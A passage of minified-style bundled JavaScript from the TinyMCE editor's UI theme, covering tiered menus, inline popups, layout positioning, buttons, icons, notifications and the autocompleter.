dom: detail.dom, markers: detail.markers, behaviours: augment(detail.tmenuBehaviours, [ Keying.config({ mode: 'special', onRight: keyOnItem(onRight), onLeft: keyOnItem(onLeft), onEscape: keyOnItem(onEscape), focusIn: function (container, _keyInfo) { layeredState.getPrimary().each(function (primary) { dispatch(container, primary.element, focusItem()); }); } }), Highlighting.config({ highlightClass: detail.markers.selectedMenu, itemClass: detail.markers.menu }), Composing.config({ find: function (container) { return Highlighting.getHighlighted(container); } }), Replacing.config({}) ]), eventOrder: detail.eventOrder, apis: apis, events: events }; }; var collapseItem$1 = constant$1('collapse-item'); var tieredData = function (primary, menus, expansions) { return { primary: primary, menus: menus, expansions: expansions }; }; var singleData = function (name, menu) { return { primary: name, menus: wrap$1(name, menu), expansions: {} }; }; var collapseItem = function (text) { return { value: generate$6(collapseItem$1()), meta: { text: text } }; }; var tieredMenu = single({ name: 'TieredMenu', configFields: [ onStrictKeyboardHandler('onExecute'), onStrictKeyboardHandler('onEscape'), onStrictHandler('onOpenMenu'), onStrictHandler('onOpenSubmenu'), onHandler('onRepositionMenu'), onHandler('onCollapseMenu'), defaulted('highlightImmediately', true), requiredObjOf('data', [ required$1('primary'), required$1('menus'), required$1('expansions') ]), defaulted('fakeFocus', false), onHandler('onHighlight'), onHandler('onHover'), tieredMenuMarkers(), required$1('dom'), defaulted('navigateOnHover', true), defaulted('stayInDom', false), field('tmenuBehaviours', [ Keying, Highlighting, Composing, Replacing ]), defaulted('eventOrder', {}) ], apis: { collapseMenu: function (apis, tmenu) { apis.collapseMenu(tmenu); }, highlightPrimary: function (apis, tmenu) { apis.highlightPrimary(tmenu); }, repositionMenus: function (apis, tmenu) { apis.repositionMenus(tmenu); } }, factory: make$6, extraApis: { tieredData: tieredData, singleData: singleData, collapseItem: collapseItem } }); var makeMenu = function (detail, menuSandbox, placementSpec, menuSpec, getBounds) { var lazySink = function () { return detail.lazySink(menuSandbox); }; var layouts = menuSpec.type === 'horizontal' ? { layouts: { onLtr: function () { return belowOrAbove(); }, onRtl: function () { return belowOrAboveRtl(); } } } : {}; var isFirstTierSubmenu = function (triggeringPaths) { return triggeringPaths.length === 2; }; var getSubmenuLayouts = function (triggeringPaths) { return isFirstTierSubmenu(triggeringPaths) ? layouts : {}; }; return tieredMenu.sketch({ dom: { tag: 'div' }, data: menuSpec.data, markers: menuSpec.menu.markers, highlightImmediately: menuSpec.menu.highlightImmediately, onEscape: function () { Sandboxing.close(menuSandbox); detail.onEscape.map(function (handler) { return handler(menuSandbox); }); return Optional.some(true); }, onExecute: function () { return Optional.some(true); }, onOpenMenu: function (tmenu, menu) { Positioning.positionWithinBounds(lazySink().getOrDie(), menu, placementSpec, getBounds()); }, onOpenSubmenu: function (tmenu, item, submenu, triggeringPaths) { var sink = lazySink().getOrDie(); Positioning.position(sink, submenu, { anchor: __assign({ type: 'submenu', item: item }, getSubmenuLayouts(triggeringPaths)) }); }, onRepositionMenu: function (tmenu, primaryMenu, submenuTriggers) { var sink = lazySink().getOrDie(); Positioning.positionWithinBounds(sink, primaryMenu, placementSpec, getBounds()); each$1(submenuTriggers, function (st) { var submenuLayouts = getSubmenuLayouts(st.triggeringPath); Positioning.position(sink, st.triggeredMenu, { anchor: __assign({ type: 'submenu', item: st.triggeringItem }, submenuLayouts) }); }); } }); }; var factory$m = function (detail, spec) { var isPartOfRelated = function (sandbox, queryElem) { var related = detail.getRelated(sandbox); return related.exists(function (rel) { return isPartOf$1(rel, queryElem); }); }; var setContent = function (sandbox, thing) { Sandboxing.setContent(sandbox, thing); }; var showAt = function (sandbox, thing, placementSpec) { showWithin(sandbox, thing, placementSpec, Optional.none()); }; var showWithin = function (sandbox, thing, placementSpec, boxElement) { showWithinBounds(sandbox, thing, placementSpec, function () { return boxElement.map(function (elem) { return box$1(elem); }); }); }; var showWithinBounds = function (sandbox, thing, placementSpec, getBounds) { var sink = detail.lazySink(sandbox).getOrDie(); Sandboxing.openWhileCloaked(sandbox, thing, function () { return Positioning.positionWithinBounds(sink, sandbox, placementSpec, getBounds()); }); Representing.setValue(sandbox, Optional.some({ mode: 'position', config: placementSpec, getBounds: getBounds })); }; var showMenuAt = function (sandbox, placementSpec, menuSpec) { showMenuWithinBounds(sandbox, placementSpec, menuSpec, Optional.none); }; var showMenuWithinBounds = function (sandbox, placementSpec, menuSpec, getBounds) { var menu = makeMenu(detail, sandbox, placementSpec, menuSpec, getBounds); Sandboxing.open(sandbox, menu); Representing.setValue(sandbox, Optional.some({ mode: 'menu', menu: menu })); }; var hide = function (sandbox) { if (Sandboxing.isOpen(sandbox)) { Representing.setValue(sandbox, Optional.none()); Sandboxing.close(sandbox); } }; var getContent = function (sandbox) { return Sandboxing.getState(sandbox); }; var reposition = function (sandbox) { if (Sandboxing.isOpen(sandbox)) { Representing.getValue(sandbox).each(function (state) { switch (state.mode) { case 'menu': Sandboxing.getState(sandbox).each(tieredMenu.repositionMenus); break; case 'position': var sink = detail.lazySink(sandbox).getOrDie(); Positioning.positionWithinBounds(sink, sandbox, state.config, state.getBounds()); break; } }); } }; var apis = { setContent: setContent, showAt: showAt, showWithin: showWithin, showWithinBounds: showWithinBounds, showMenuAt: showMenuAt, showMenuWithinBounds: showMenuWithinBounds, hide: hide, getContent: getContent, reposition: reposition, isOpen: Sandboxing.isOpen }; return { uid: detail.uid, dom: detail.dom, behaviours: augment(detail.inlineBehaviours, [ Sandboxing.config({ isPartOf: function (sandbox, data, queryElem) { return isPartOf$1(data, queryElem) || isPartOfRelated(sandbox, queryElem); }, getAttachPoint: function (sandbox) { return detail.lazySink(sandbox).getOrDie(); }, onOpen: function (sandbox) { detail.onShow(sandbox); }, onClose: function (sandbox) { detail.onHide(sandbox); } }), Representing.config({ store: { mode: 'memory', initialValue: Optional.none() } }), Receiving.config({ channels: __assign(__assign({}, receivingChannel$1(__assign({ isExtraPart: spec.isExtraPart }, detail.fireDismissalEventInstead.map(function (fe) { return { fireEventInstead: { event: fe.event } }; }).getOr({})))), receivingChannel(__assign(__assign({}, detail.fireRepositionEventInstead.map(function (fe) { return { fireEventInstead: { event: fe.event } }; }).getOr({})), { doReposition: reposition }))) }) ]), eventOrder: detail.eventOrder, apis: apis }; }; var InlineView = single({ name: 'InlineView', configFields: [ required$1('lazySink'), onHandler('onShow'), onHandler('onHide'), optionFunction('onEscape'), field('inlineBehaviours', [ Sandboxing, Representing, Receiving ]), optionObjOf('fireDismissalEventInstead', [defaulted('event', dismissRequested())]), optionObjOf('fireRepositionEventInstead', [defaulted('event', repositionRequested())]), defaulted('getRelated', Optional.none), defaulted('isExtraPart', never), defaulted('eventOrder', Optional.none) ], factory: factory$m, apis: { showAt: function (apis, component, anchor, thing) { apis.showAt(component, anchor, thing); }, showWithin: function (apis, component, anchor, thing, boxElement) { apis.showWithin(component, anchor, thing, boxElement); }, showWithinBounds: function (apis, component, anchor, thing, bounds) { apis.showWithinBounds(component, anchor, thing, bounds); }, showMenuAt: function (apis, component, anchor, menuSpec) { apis.showMenuAt(component, anchor, menuSpec); }, showMenuWithinBounds: function (apis, component, anchor, menuSpec, bounds) { apis.showMenuWithinBounds(component, anchor, menuSpec, bounds); }, hide: function (apis, component) { apis.hide(component); }, isOpen: function (apis, component) { return apis.isOpen(component); }, getContent: function (apis, component) { return apis.getContent(component); }, setContent: function (apis, component, thing) { apis.setContent(component, thing); }, reposition: function (apis, component) { apis.reposition(component); } } }); var labelPrefix = 'layout-inset'; var westEdgeX = function (anchor) { return anchor.x; }; var middleX = function (anchor, element) { return anchor.x + anchor.width / 2 - element.width / 2; }; var eastEdgeX = function (anchor, element) { return anchor.x + anchor.width - element.width; }; var northY = function (anchor) { return anchor.y; }; var southY = function (anchor, element) { return anchor.y + anchor.height - element.height; }; var centreY = function (anchor, element) { return anchor.y + anchor.height / 2 - element.height / 2; }; var southwest = function (anchor, element, bubbles) { return nu$6(eastEdgeX(anchor, element), southY(anchor, element), bubbles.insetSouthwest(), northwest$3(), 'southwest', boundsRestriction(anchor, { right: 0, bottom: 3 }), labelPrefix); }; var southeast = function (anchor, element, bubbles) { return nu$6(westEdgeX(anchor), southY(anchor, element), bubbles.insetSoutheast(), northeast$3(), 'southeast', boundsRestriction(anchor, { left: 1, bottom: 3 }), labelPrefix); }; var northwest = function (anchor, element, bubbles) { return nu$6(eastEdgeX(anchor, element), northY(anchor), bubbles.insetNorthwest(), southwest$3(), 'northwest', boundsRestriction(anchor, { right: 0, top: 2 }), labelPrefix); }; var northeast = function (anchor, element, bubbles) { return nu$6(westEdgeX(anchor), northY(anchor), bubbles.insetNortheast(), southeast$3(), 'northeast', boundsRestriction(anchor, { left: 1, top: 2 }), labelPrefix); }; var north = function (anchor, element, bubbles) { return nu$6(middleX(anchor, element), northY(anchor), bubbles.insetNorth(), south$3(), 'north', boundsRestriction(anchor, { top: 2 }), labelPrefix); }; var south = function (anchor, element, bubbles) { return nu$6(middleX(anchor, element), southY(anchor, element), bubbles.insetSouth(), north$3(), 'south', boundsRestriction(anchor, { bottom: 3 }), labelPrefix); }; var east = function (anchor, element, bubbles) { return nu$6(eastEdgeX(anchor, element), centreY(anchor, element), bubbles.insetEast(), west$3(), 'east', boundsRestriction(anchor, { right: 0 }), labelPrefix); }; var west = function (anchor, element, bubbles) { return nu$6(westEdgeX(anchor), centreY(anchor, element), bubbles.insetWest(), east$3(), 'west', boundsRestriction(anchor, { left: 1 }), labelPrefix); }; var lookupPreserveLayout = function (lastPlacement) { switch (lastPlacement) { case 'north': return north; case 'northeast': return northeast; case 'northwest': return northwest; case 'south': return south; case 'southeast': return southeast; case 'southwest': return southwest; case 'east': return east; case 'west': return west; } }; var preserve = function (anchor, element, bubbles, placee, bounds) { var layout = getPlacement(placee).map(lookupPreserveLayout).getOr(north); return layout(anchor, element, bubbles, placee, bounds); }; var lookupFlippedLayout = function (lastPlacement) { switch (lastPlacement) { case 'north': return south; case 'northeast': return southeast; case 'northwest': return southwest; case 'south': return north; case 'southeast': return northeast; case 'southwest': return northwest; case 'east': return west; case 'west': return east; } }; var flip$2 = function (anchor, element, bubbles, placee, bounds) { var layout = getPlacement(placee).map(lookupFlippedLayout).getOr(north); return layout(anchor, element, bubbles, placee, bounds); }; var global$f = tinymce.util.Tools.resolve('tinymce.util.Delay'); var factory$l = function (detail) { var events = events$a(detail.action); var tag = detail.dom.tag; var lookupAttr = function (attr) { return get$e(detail.dom, 'attributes').bind(function (attrs) { return get$e(attrs, attr); }); }; var getModAttributes = function () { if (tag === 'button') { var type = lookupAttr('type').getOr('button'); var roleAttrs = lookupAttr('role').map(function (role) { return { role: role }; }).getOr({}); return __assign({ type: type }, roleAttrs); } else { var role = lookupAttr('role').getOr('button'); return { role: role }; } }; return { uid: detail.uid, dom: detail.dom, components: detail.components, events: events, behaviours: SketchBehaviours.augment(detail.buttonBehaviours, [ Focusing.config({}), Keying.config({ mode: 'execution', useSpace: true, useEnter: true }) ]), domModification: { attributes: getModAttributes() }, eventOrder: detail.eventOrder }; }; var Button = single({ name: 'Button', factory: factory$l, configFields: [ defaulted('uid', undefined), required$1('dom'), defaulted('components', []), SketchBehaviours.field('buttonBehaviours', [ Focusing, Keying ]), option('action'), option('role'), defaulted('eventOrder', {}) ] }); var record = function (spec) { var uid = isSketchSpec(spec) && hasNonNullableKey(spec, 'uid') ? spec.uid : generate$5('memento'); var get = function (anyInSystem) { return anyInSystem.getSystem().getByUid(uid).getOrDie(); }; var getOpt = function (anyInSystem) { return anyInSystem.getSystem().getByUid(uid).toOptional(); }; var asSpec = function () { return __assign(__assign({}, spec), { uid: uid }); }; return { get: get, getOpt: getOpt, asSpec: asSpec }; }; var global$e = tinymce.util.Tools.resolve('tinymce.util.I18n'); var rtlTransform = { 'indent': true, 'outdent': true, 'table-insert-column-after': true, 'table-insert-column-before': true, 'paste-column-after': true, 'paste-column-before': true, 'unordered-list': true, 'list-bull-circle': true, 'list-bull-default': true, 'list-bull-square': true }; var defaultIconName = 'temporary-placeholder'; var defaultIcon = function (icons) { return function () { return get$e(icons, defaultIconName).getOr('!not found!'); }; }; var getIconName = function (name, icons) { var lcName = name.toLowerCase(); if (global$e.isRtl()) { var rtlName = ensureTrailing(lcName, '-rtl'); return has$2(icons, rtlName) ? rtlName : lcName; } else { return lcName; } }; var lookupIcon = function (name, icons) { return get$e(icons, getIconName(name, icons)); }; var get$1 = function (name, iconProvider) { var icons = iconProvider(); return lookupIcon(name, icons).getOrThunk(defaultIcon(icons)); }; var getOr = function (name, iconProvider, fallbackIcon) { var icons = iconProvider(); return lookupIcon(name, icons).or(fallbackIcon).getOrThunk(defaultIcon(icons)); }; var needsRtlTransform = function (iconName) { return global$e.isRtl() ? has$2(rtlTransform, iconName) : false; }; var addFocusableBehaviour = function () { return config('add-focusable', [runOnAttached(function (comp) { child(comp.element, 'svg').each(function (svg) { return set$8(svg, 'focusable', 'false'); }); })]); }; var renderIcon$2 = function (spec, iconName, icons, fallbackIcon) { var _a, _b; var rtlIconClasses = needsRtlTransform(iconName) ? ['tox-icon--flip'] : []; var iconHtml = get$e(icons, getIconName(iconName, icons)).or(fallbackIcon).getOrThunk(defaultIcon(icons)); return { dom: { tag: spec.tag, attributes: (_a = spec.attributes) !== null && _a !== void 0 ? _a : {}, classes: spec.classes.concat(rtlIconClasses), innerHtml: iconHtml }, behaviours: derive$1(__spreadArray(__spreadArray([], (_b = spec.behaviours) !== null && _b !== void 0 ? _b : [], true), [addFocusableBehaviour()], false)) }; }; var render$3 = function (iconName, spec, iconProvider, fallbackIcon) { if (fallbackIcon === void 0) { fallbackIcon = Optional.none(); } return renderIcon$2(spec, iconName, iconProvider(), fallbackIcon); }; var renderFirst = function (iconNames, spec, iconProvider) { var icons = iconProvider(); var iconName = find$5(iconNames, function (name) { return has$2(icons, getIconName(name, icons)); }); return renderIcon$2(spec, iconName.getOr(defaultIconName), icons, Optional.none()); }; var notificationIconMap = { success: 'checkmark', error: 'warning', err: 'error', warning: 'warning', warn: 'warning', info: 'info' }; var factory$k = function (detail) { var memBannerText = record({ dom: { tag: 'p', innerHtml: detail.translationProvider(detail.text) }, behaviours: derive$1([Replacing.config({})]) }); var renderPercentBar = function (percent) { return { dom: { tag: 'div', classes: ['tox-bar'], attributes: { style: 'width: ' + percent + '%' } } }; }; var renderPercentText = function (percent) { return { dom: { tag: 'div', classes: ['tox-text'], innerHtml: percent + '%' } }; }; var memBannerProgress = record({ dom: { tag: 'div', classes: detail.progress ? [ 'tox-progress-bar', 'tox-progress-indicator' ] : ['tox-progress-bar'] }, components: [ { dom: { tag: 'div', classes: ['tox-bar-container'] }, components: [renderPercentBar(0)] }, renderPercentText(0) ], behaviours: derive$1([Replacing.config({})]) }); var updateProgress = function (comp, percent) { if (comp.getSystem().isConnected()) { memBannerProgress.getOpt(comp).each(function (progress) { Replacing.set(progress, [ { dom: { tag: 'div', classes: ['tox-bar-container'] }, components: [renderPercentBar(percent)] }, renderPercentText(percent) ]); }); } }; var updateText = function (comp, text$1) { if (comp.getSystem().isConnected()) { var banner = memBannerText.get(comp); Replacing.set(banner, [text(text$1)]); } }; var apis = { updateProgress: updateProgress, updateText: updateText }; var iconChoices = flatten([ detail.icon.toArray(), detail.level.toArray(), detail.level.bind(function (level) { return Optional.from(notificationIconMap[level]); }).toArray() ]); var memButton = record(Button.sketch({ dom: { tag: 'button', classes: [ 'tox-notification__dismiss', 'tox-button', 'tox-button--naked', 'tox-button--icon' ] }, components: [render$3('close', { tag: 'div', classes: ['tox-icon'], attributes: { 'aria-label': detail.translationProvider('Close') } }, detail.iconProvider)], action: function (comp) { detail.onAction(comp); } })); var notificationIconSpec = renderFirst(iconChoices, { tag: 'div', classes: ['tox-notification__icon'] }, detail.iconProvider); var notificationBodySpec = { dom: { tag: 'div', classes: ['tox-notification__body'] }, components: [memBannerText.asSpec()], behaviours: derive$1([Replacing.config({})]) }; var components = [ notificationIconSpec, notificationBodySpec ]; return { uid: detail.uid, dom: { tag: 'div', attributes: { role: 'alert' }, classes: detail.level.map(function (level) { return [ 'tox-notification', 'tox-notification--in', 'tox-notification--' + level ]; }).getOr([ 'tox-notification', 'tox-notification--in' ]) }, behaviours: derive$1([ Focusing.config({}), config('notification-events', [run$1(focusin(), function (comp) { memButton.getOpt(comp).each(Focusing.focus); })]) ]), components: components.concat(detail.progress ? [memBannerProgress.asSpec()] : []).concat(!detail.closeButton ? [] : [memButton.asSpec()]), apis: apis }; }; var Notification = single({ name: 'Notification', factory: factory$k, configFields: [ option('level'), required$1('progress'), required$1('icon'), required$1('onAction'), required$1('text'), required$1('iconProvider'), required$1('translationProvider'), defaultedBoolean('closeButton', true) ], apis: { updateProgress: function (apis, comp, percent) { apis.updateProgress(comp, percent); }, updateText: function (apis, comp, text) { apis.updateText(comp, text); } } }); function NotificationManagerImpl (editor, extras, uiMothership) { var sharedBackstage = extras.backstage.shared; var getLayoutDirection = function (rel) { switch (rel) { case 'bc-bc': return south; case 'tc-tc': return north; case 'tc-bc': return north$2; case 'bc-tc': default: return south$2; } }; var reposition = function (notifications) { if (notifications.length > 0) { each$1(notifications, function (notification, index) { if (index === 0) { notification.moveRel(null, 'banner'); } else { notification.moveRel(notifications[index - 1].getEl(), 'bc-tc'); } }); } }; var open = function (settings, closeCallback) { var hideCloseButton = !settings.closeButton && settings.timeout && (settings.timeout > 0 || settings.timeout < 0); var close = function () { closeCallback(); InlineView.hide(notificationWrapper); }; var notification = build$1(Notification.sketch({ text: settings.text, level: contains$2([ 'success', 'error', 'warning', 'warn', 'info' ], settings.type) ? settings.type : undefined, progress: settings.progressBar === true, icon: Optional.from(settings.icon), closeButton: !hideCloseButton, onAction: close, iconProvider: sharedBackstage.providers.icons, translationProvider: sharedBackstage.providers.translate })); var notificationWrapper = build$1(InlineView.sketch(__assign({ dom: { tag: 'div', classes: ['tox-notifications-container'] }, lazySink: sharedBackstage.getSink, fireDismissalEventInstead: {} }, sharedBackstage.header.isPositionedAtTop() ? {} : { fireRepositionEventInstead: {} }))); uiMothership.add(notificationWrapper); if (settings.timeout > 0) { global$f.setTimeout(function () { close(); }, settings.timeout); } var getBounds = function () { var contentArea = box$1(SugarElement.fromDom(editor.getContentAreaContainer())); var win$1 = win(); var x = clamp$1(win$1.x, contentArea.x, contentArea.right); var y = clamp$1(win$1.y, contentArea.y, contentArea.bottom); var right = Math.max(contentArea.right, win$1.right); var bottom = Math.max(contentArea.bottom, win$1.bottom); return Optional.some(bounds(x, y, right - x, bottom - y)); }; return { close: close, moveTo: function (x, y) { InlineView.showAt(notificationWrapper, premade(notification), { anchor: { type: 'makeshift', x: x, y: y } }); }, moveRel: function (element, rel) { var notificationSpec = premade(notification); var anchorOverrides = { maxHeightFunction: expandable$1() }; if (rel !== 'banner' && isNonNullable(element)) { var layoutDirection_1 = getLayoutDirection(rel); var nodeAnchor = { type: 'node', root: body(), node: Optional.some(SugarElement.fromDom(element)), overrides: anchorOverrides, layouts: { onRtl: function () { return [layoutDirection_1]; }, onLtr: function () { return [layoutDirection_1]; } } }; InlineView.showWithinBounds(notificationWrapper, notificationSpec, { anchor: nodeAnchor }, getBounds); } else { var anchor = __assign(__assign({}, sharedBackstage.anchors.banner()), { overrides: anchorOverrides }); InlineView.showWithinBounds(notificationWrapper, notificationSpec, { anchor: anchor }, getBounds); } }, text: function (nuText) { Notification.updateText(notification, nuText); }, settings: settings, getEl: function () { return notification.element.dom; }, progressBar: { value: function (percent) { Notification.updateProgress(notification, percent); } } }; }; var close = function (notification) { notification.close(); }; var getArgs = function (notification) { return notification.settings; }; return { open: open, close: close, reposition: reposition, getArgs: getArgs }; } var first = function (fn, rate) { var timer = null; var cancel = function () { if (!isNull(timer)) { clearTimeout(timer); timer = null; } }; var throttle = function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } if (isNull(timer)) { timer = setTimeout(function () { timer = null; fn.apply(null, args); }, rate); } }; return { cancel: cancel, throttle: throttle }; }; var last = function (fn, rate) { var timer = null; var cancel = function () { if (!isNull(timer)) { clearTimeout(timer); timer = null; } }; var throttle = function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } cancel(); timer = setTimeout(function () { timer = null; fn.apply(null, args); }, rate); }; return { cancel: cancel, throttle: throttle }; }; var global$d = tinymce.util.Tools.resolve('tinymce.dom.TextSeeker'); var isBoundary = function (dom, node) { return dom.isBlock(node) || contains$2([ 'BR', 'IMG', 'HR', 'INPUT' ], node.nodeName) || dom.getContentEditable(node) === 'false'; }; var repeatLeft = function (dom, node, offset, process, rootNode) { var search = global$d(dom, function (node) { return isBoundary(dom, node); }); return Optional.from(search.backwards(node, offset, process, rootNode)); }; var autocompleteSelector = '[data-mce-autocompleter]'; var create$4 = function (editor, range) { return detect(SugarElement.fromDom(editor.selection.getNode())).getOrThunk(function () { var wrapper = SugarElement.fromHtml('', editor.getDoc()); append$2(wrapper, SugarElement.fromDom(range.extractContents())); range.insertNode(wrapper.dom); parent(wrapper).each(function (elm) { return elm.dom.normalize(); }); last$1(wrapper).map(function (last) { editor.selection.setCursorLocation(last.dom, getEnd(last)); }); return wrapper; }); }; var detect = function (elm) { return closest$1(elm, autocompleteSelector); }; var isValidTextRange = function (rng) { return rng.collapsed && rng.startContainer.nodeType === 3; }; var getText = function (rng) { return rng.toString().replace(/\u00A0/g, ' ').replace(/\uFEFF/g, ''); }; var isWhitespace = function (chr) { return chr !== '' && ' \xA0\f\n\r\t\x0B'.indexOf(chr) !== -1; }; var stripTriggerChar = function (text, triggerCh) { return text.substring(triggerCh.length); }; var findChar = function (text, index, ch) { var i; for (i = index - 1; i >= 0; i--) { var char = text.charAt(i); if (isWhitespace(char)) { return Optional.none(); } if (char === ch) { break; } } return Optional.some(i); }; var findStart = function (dom, initRange, ch, minChars) { if (minChars === void 0) { minChars = 0; } if (!isValidTextRange(initRange)) { return Optional.none(); } var findTriggerChIndex = function (element, offset, text) { return findChar(text, offset, ch).getOr(offset); }; var root = dom.getParent(initRange.startContainer, dom.isBlock) || dom.getRoot(); return repeatLeft(dom, initRange.startContainer, initRange.startOffset, findTriggerChIndex, root).bind(function (spot) { var range = initRange.cloneRange(); range.setStart(spot.container, spot.offset); range.setEnd(initRange.endContainer, initRange.endOffset); if (range.collapsed) { return Optional.none(); } var text = getText(range); var triggerCharIndex = text.lastIndexOf(ch); if (triggerCharIndex !== 0 || stripTriggerChar(text, ch).length < minChars) { return Optional.none(); } else { return Optional.some({ text: stripTriggerChar(text, ch), range: range, triggerChar: ch }); } }); }; var getContext = function (dom, initRange, ch, minChars) { if (minChars === void 0) { minChars = 0; } return detect(SugarElement.fromDom(initRange.startContainer)).fold(function () { return findStart(dom, initRange, ch, minChars); }, function (elm) { var range = dom.createRng(); range.selectNode(elm.dom); var text = getText(range); return Optional.some({ range: range, text: stripTriggerChar(text, ch), triggerChar: ch }); }); }; var setup$e = function (api, editor) { editor.on('keypress compositionend', api.onKeypress.throttle); editor.on('remove', api.onKeypress.cancel); var redirectKeyToItem = function (item, e) { emitWith(item, keydown(), { raw: e }); }; editor.on('keydown', function (e) { var getItem = function () { return api.getView().bind(Highlighting.getHighlighted); }; if (e.which === 8) { api.onKeypress.throttle(e); } if (api.isActive()) { if (e.which === 27) { api.cancelIfNecessary(); } if (api.isMenuOpen()) { if (e.which === 13) { getItem().each(emitExecute); e.preventDefault(); } else if (e.which === 40) { getItem().fold(function () { api.getView().each(Highlighting.highlightFirst); }, function (item) { redirectKeyToItem(item, e); }); e.preventDefault(); e.stopImmediatePropagation(); } else if (e.which === 37 || e.which === 38 || e.which === 39) { getItem().each(function (item) { redirectKeyToItem(item, e); e.preventDefault(); e.stopImmediatePropagation(); }); } } else { if (e.which === 13 || e.which === 38 || e.which === 40) { api.cancelIfNecessary(); } } } }); editor.on('NodeChange', function (e) { if (api.isActive() && !api.isProcessingAction() && detect(SugarElement.fromDom(e.element)).isNone()) { api.cancelIfNecessary(); } }); }; var AutocompleterEditorEvents = { setup: setup$e }; var global$c = tinymce.util.Tools.resolve('tinymce.util.Promise'); var point = function (container, offset) { return { container: container, offset: offset }; }; var isText = function (node) { return node.nodeType === TEXT; }; var isElement$1 = function (node) { return node.nodeType === ELEMENT; }; var toLast = function (node) { if (isText(node)) { return point(node, node.data.length); } else { var children = node.childNodes; return children.length > 0 ? toLast(children[children.length - 1]) : point(node, children.length); } }; var toLeaf = function (node, offset) { var children = node.childNodes; if (children.length > 0 && offset < children.length) { return toLeaf(children[offset], 0); } else if (children.length > 0 && isElement$1(node) && children.length === offset) { return toLast(children[children.length - 1]); } else { return point(node, offset); } }; var isPreviousCharContent = function (dom, leaf) { return repeatLeft(dom, leaf.container, leaf.offset, function (element, offset) { return offset === 0 ? -1 : offset; }, dom.getRoot()).filter(function (spot) { var char = spot.container.data.charAt(spot.offset - 1); return !isWhitespace(char); }).isSome(); }; var isStartOfWord = function (dom) { return function (rng) { var leaf = toLeaf(rng.startContainer, rng.startOffset); return !isPreviousCharContent(dom, leaf); }; }; var getTriggerContext = function (dom, initRange, database) { return findMap(database.triggerChars, function (ch) { return getContext(dom, initRange, ch); }); }; var lookup$2 = function (editor, getDatabase) { var database = getDatabase(); var rng = editor.selection.getRng(); return getTriggerContext(editor.dom, rng, database).bind(function (context) { return lookupWithContext(editor, getDatabase, context); }); }; var lookupWithContext = function (editor, getDatabase, context, fetchOptions) { if (fetchOptions === void 0) { fetchOptions = {}; } var database = getDatabase(); var rng = editor.selection.getRng(); var startText = rng.startContainer.nodeValue; var autocompleters = filter$2(database.lookupByChar(context.triggerChar), function (autocompleter) { return context.text.length >= autocompleter.minChars && autocompleter.matches.getOrThunk(function () { return isStartOfWord(editor.dom); })(context.range, startText, context.text); }); if (autocompleters.length === 0) { return Optional.none(); } var lookupData = global$c.all(map$2(autocompleters, function (ac) { var fetchResult = ac.fetch(context.text, ac.maxResults, fetchOptions); return fetchResult.then(function (results) { return { matchText: context.text, items: results, columns: ac.columns, onAction: ac.onAction, highlightOn: ac.highlightOn }; }); })); return Optional.some({ lookupData: lookupData, context: context }); }; var separatorMenuItemSchema = objOf([ requiredString('type'), optionString('text') ]); var createSeparatorMenuItem = function (spec) { return asRaw('separatormenuitem', separatorMenuItemSchema, spec); }; var autocompleterItemSchema = objOf([ defaulted('type', 'autocompleteitem'), defaulted('active', false), defaulted('disabled', false), defaulted('meta', {}), requiredString('value'), optionString('text'), optionString('icon') ]); var autocompleterSchema = objOf([ requiredString('type'), requiredString('ch'), defaultedNumber('minChars', 1), defaulted('columns', 1), defaultedNumber('maxResults', 10), optionFunction('matches'), requiredFunction('fetch'), requiredFunction('onAction'), defaultedArrayOf('highlightOn', [], string) ]); var createSeparatorItem = function (spec) { return asRaw('Autocompleter.Separator', separatorMenuItemSchema, spec); }; var createAutocompleterItem = function (spec) { return asRaw('Autocompleter.Item', autocompleterItemSchema, spec); }; var createAutocompleter = function (spec) { return asRaw('Autocompleter', autocompleterSchema, spec); }; var baseToolbarButtonFields = [ defaultedBoolean('disabled', false), optionString('tooltip'), optionString('icon'), optionString('text'), defaultedFunction('onSetup', function () { return noop; }) ]; var toolbarButtonSchema = objOf([ requiredString('type'), requiredFunction('onAction') ].concat(baseToolbarButtonFields)); var createToolbarButton = function (spec) { return asRaw('toolbarbutton', toolbarButtonSchema, spec); }; var baseToolbarToggleButtonFields = [defaultedBoolean('active', false)].concat(baseToolbarButtonFields); var toggleButtonSchema = objOf(baseToolbarToggleButtonFields.concat([ requiredString('type'), requiredFunction('onAction') ])); var createToggleButton = function (spec) { return asRaw('ToggleButton', toggleButtonSchema, spec); }; var contextBarFields = [ defaultedFunction('predicate', never), defaultedStringEnum('scope', 'node', [ 'node', 'editor' ]), defaultedStringEnum('position', 'selection', [ 'node', 'selection', 'line' ]) ]; var contextButtonFields = baseToolbarButtonFields.concat([ defaulted('type', 'contextformbutton'), defaulted('primary', false), requiredFunction('onAction'), customField('original', identity$1) ]); var contextToggleButtonFields = baseToolbarToggleButtonFields.concat([ defaulted('type', 'contextformbutton'), defaulted('primary', false), requiredFunction('onAction'), customField('original', identity$1) ]); var launchButtonFields = baseToolbarButtonFields.concat([defaulted('type', 'contextformbutton')]); var launchToggleButtonFields = baseToolbarToggleButtonFields.concat([defaulted('type', 'contextformtogglebutton')]); var toggleOrNormal = choose$1('type', { contextformbutton: contextButtonFields, contextformtogglebutton: contextToggleButtonFields }); var contextFormSchema = objOf([ defaulted('type', 'contextform'), defaultedFunction('initValue', constant$1('')), optionString('label'), requiredArrayOf('commands', toggleOrNormal), optionOf('launch', choose$1('type', { contextformbutton: launchButtonFields, contextformtogglebutton: launchToggleButtonFields })) ].concat(contextBarFields)); var createContextForm = function (spec) { return asRaw('ContextForm', contextFormSchema, spec); }; var contextToolbarSchema = objOf([ defaulted('type', 'contexttoolbar'), requiredString('items') ].concat(contextBarFields)); var createContextToolbar = function (spec) { return asRaw('ContextToolbar', contextToolbarSchema, spec); }; var stringArray = function (a) { var all = {}; each$1(a, function (key) { all[key] = {}; }); return keys(all); }; var register$b = function (editor) { var popups = editor.ui.registry.getAll().popups; var dataset = map$1(popups, function (popup) { return createAutocompleter(popup).fold(function (err) { throw new Error(formatError(err)); }, identity$1); }); var triggerChars = stringArray(mapToArray(dataset, function (v) { return v.ch; })); var datasetValues = values(dataset); var lookupByChar = function (ch) { return filter$2(datasetValues, function (dv) { return dv.ch === ch; }); }; return { dataset: dataset, triggerChars: triggerChars, lookupByChar: lookupByChar }; }; var ItemResponse; (function (ItemResponse) { ItemResponse[ItemResponse['CLOSE_ON_EXECUTE'] = 0] = 'CLOSE_ON_EXECUTE'; ItemResponse[ItemResponse['BUBBLE_TO_SANDBOX'] = 1] = 